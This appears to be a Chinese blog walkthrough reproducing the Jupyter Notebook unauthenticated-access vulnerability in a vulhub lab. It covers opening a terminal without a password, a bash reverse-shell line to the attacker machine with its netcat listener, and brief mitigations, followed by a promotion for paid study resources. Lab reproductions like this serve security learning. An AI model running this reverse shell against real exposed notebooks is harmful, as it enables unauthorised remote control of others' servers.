赞
踩
Jupyter Notebook(此前被称为 IPython notebook)是基于网页的用于交互计算的应用程序,是一个交互式笔记本,支持运行 40 多种编程语言。Jupyter Notebook是以网页的形式打开,可以在网页页面中直接编写代码和运行代码,代码的运行结果也会直接在代码块下显示。
如果管理员未为Jupyter Notebook配置密码,将导致未授权访问漏洞,游客可在其中创建一个console并执行任意Python代码和命令。
靶机: ubuntu IP: 192.168.241.142
攻击机: kali IP: 192.168.241.128
直接使用 vluhub 环境了
cd /vulhub/jupyter/notebook-rce
docker-compose up -d
4.1 、靶场环境搭建好之后,访问 http://your-ip:8888 将看到 Jupyter Notebook 的Web管理界面,没有要求填写密码。(此处就是未授权访问漏洞)
4.2、利用 Terminal 执行系统命令
选择 new -> terminal 即可创建一个控制台:
4.3、反弹 shell 到kali
bash -i >& /dev/tcp/192.168.241.128/6666 0>&1
kali 监听
nc -nvlp 6666
1、开启身份验证,防止未经授权用户访问。
2、访问控制策略,限制IP访问,绑定固定IP。
更多资源:
1、web安全工具、渗透测试工具
2、存在漏洞的网站源码与代码审计+漏洞复现教程、
3、渗透测试学习视频、应急响应学习视频、代码审计学习视频、都是2019-2021年期间的较新视频
4、应急响应真实案例复现靶场与应急响应教程
收集整理在知识星球,可加入知识星球进行查看。也可搜索关注微信公众号:W小哥
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。